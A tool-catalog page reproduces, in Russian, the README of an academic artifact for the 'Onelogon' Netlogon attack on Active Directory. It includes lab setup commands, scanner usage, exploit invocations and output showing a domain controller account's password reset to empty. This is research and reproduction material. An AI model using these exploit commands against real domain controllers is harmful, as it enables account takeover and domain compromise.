Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
onelogon — Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26). | Kitploit
Инструменты/GitHubGitHub/rub-softsec/onelogon
Vulnerability ScannersVulnerability AnalysisExploitationNetwork SecurityPenetration TestingAuthenticationPapers & Research
GitHubrub-softsec/onelogon

onelogon

Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).

Репозиторий
118211 месяц назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Onelogon: захват учетных записей Active Directory через Netlogon

Этот репозиторий содержит код и данные, сопровождающие нашу статью Onelogon: захват учетных записей Active Directory через Netlogon (WOOT'26).

  1. Контекст
  2. Как цитировать
  3. Структура и настройка артефакта
  4. Настройка тестового окружения
  5. Поиск уязвимых конфигураций
  6. Эксплуатация
  7. Воспроизведение измерений

Контекст

Уязвимость, описанная в нашей статье, атакует слабое место в криптографическом исправлении 2020 года для уязвимости Zerologon. Учетные записи, перечисленные в групповой политике, предназначенной для обеспечения поддержки устаревших конфигураций, не поддерживающих подпись и шифрование Netlogon, уязвимы для этой атаки. Подробное описание уязвимости, ожидаемая полная цепочка атаки и возможные меры смягчения приведены в статье.

Как цитировать

root@kitploit:~
@inproceedings{woot2026-onelogon,
  title     = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
  author    = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
  booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
  date      = {2026-08},
  editor    = {Bianchi, Antonio and Classen, Jiska},
  location  = {Baltimore, MD, USA},
  publisher = {USENIX Association}
}

Структура и настройка артефакта

Артефакт представляет собой Python-проект на базе poetry для сканера и эксплойтов.

Чтобы запустить скрипты, предоставляемые с артефактом, установите Python (3.12 или новее) и либо poetry (инструкции), либо uv (инструкции). Для простоты мы приводим команды в предположении, что вы используете poetry; если вы выберете uv, просто замените все упоминания poetry на uv.

Все команды из этого документа следует выполнять в корневом каталоге артефакта (там, где находится этот README).

Если вы используете poetry, выполните poetry install для установки всех зависимостей.

Настройка тестового окружения

Чтобы воспроизвести результаты статьи, вы можете развернуть контроллер домена с использованием версии Windows Server, в которой исправлен Zerologon (мы проверили эксплойт как для версии 2019, так и для версии 2025).

Чтобы настроить контроллер домена в новой установке Windows Server 2025, выполните следующие команды:

root@kitploit:~
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart

# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"

# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true

Уязвимость применима к любой учетной записи, перечисленной в DACL в объекте групповой политики Domain Controller: Allow vulnerable Netlogon secure channel connections или в соответствующем разделе реестра:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList

Вы можете настроить эти параметры вручную на контроллере домена (не забудьте выполнить gpupdate /force, если вы обновляете запись GPO), или выполнить следующую команду, чтобы добавить все учетные записи в DACL в разделе реестра:

root@kitploit:~
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
                    -Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
                    -ValueName "VulnerableChannelAllowList" `
                    -Type String `
                    -Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone

Поиск уязвимых конфигураций

Чтобы определить, какие учетные записи контроллер домена перечисляет в своем VulnerableChannelAllowList, мы предоставляем сканер, который анализирует куст реестра и общую папку тома GPO контроллера домена. Обратите внимание, что доступ к реестру для этого сканирования требует прав администратора домена (эксплойт, разумеется, не требует).

root@kitploit:~
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>

# Specify `--help` to get additional usage instructions.
poetry run scan --help

Положительный результат сканирования (на контроллере домена есть уязвимые учетные записи) отразит дескриптор безопасности, содержащий уязвимые учетные записи (в языке описания дескрипторов безопасности Microsoft):

root@kitploit:~
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
    'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
    O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)

Отрицательный результат (целевой DC не уязвим) вместо этого будет выглядеть так:

root@kitploit:~
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
    - The system cannot find the file specified.

Эксплуатация

Чтобы запустить эксплойт proof-of-concept против целевого контроллера домена, сначала выберите уязвимую учетную запись. Вам понадобятся IP-адрес контроллера домена, его имя узла и имя уязвимой учетной записи.

В нашей примерной настройке уязвимый контроллер домена называется DC. Его учетная запись компьютера (DC$) включена в политику GPO и поэтому уязвима к Onelogon.

root@kitploit:~
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>

# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>
Вывод успешной эксплуатации

В качестве иллюстрации мы приводим вывод успешного запуска атаки встречи посередине против тестового окружения:

root@kitploit:~
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
    comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111) 
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup 
[*] Estimated total tries without flushing: 2^16 / 2

[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ:     Took 5.0858272750047036 seconds,
             average time per attempt: 0.00286042028965393909 seconds
[*] TRY:     Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL:     Took 125.08606619200145 seconds,
             average time per attempt: 0.07035211821822354161 seconds
[*] 
[*] TOTAL STATS:
[*] TOTAL:   0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES:   5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.

Воспроизведение измерений

Чтобы воспроизвести измерения из таблицы 1 статьи, выполните все четыре эксплойта, описанные в предыдущем разделе.

Вы можете получить ожидаемое время атаки, не выполняя полную атаку, которая была бы непомерно затратной для наивных подходов.

Скорость 32-битного перебора, который ожидает тайм-аута, ограничена сроком действия клиентских запросов. Полный цикл (в котором можно обработать 100 тысяч запросов) занимает 120 секунд (тайм-аут до очистки списка запросов). Таким образом, ожидаемое время атаки всегда равно $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$.

Для атак с использованием учетной записи компьютера (как 32-битной, так и 24-битной) возьмите среднее время на одну попытку $t$ из раздела TOTAL STATS вывода. 32-битной атаке в среднем требуется $2^{31}$ попыток (общее ожидаемое время составит $2^{31}t$). Аналогично ожидаемая длительность 24-битной атаки равна $2^{23}t$.

Для подхода встречи посередине мы не можем перебрать все возможные учетные данные клиента в течение 120 секунд до истечения срока действия запроса. Вместо этого ожидаемое время атаки определяется тем, сколько попыток аутентификации мы можем выполнить за этот промежуток времени. Чтобы получить это значение, возьмите среднее количество попыток за цикл $a$ из раздела TOTAL STATS вывода. Поскольку в среднем нам нужно $2^{15}$ попыток аутентификации для достижения 50% успеха, ожидаемое время атаки равно просто $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$

Точные полученные значения времени будут зависеть от конкретной аппаратной и программной конфигурации.

Скачать инструмент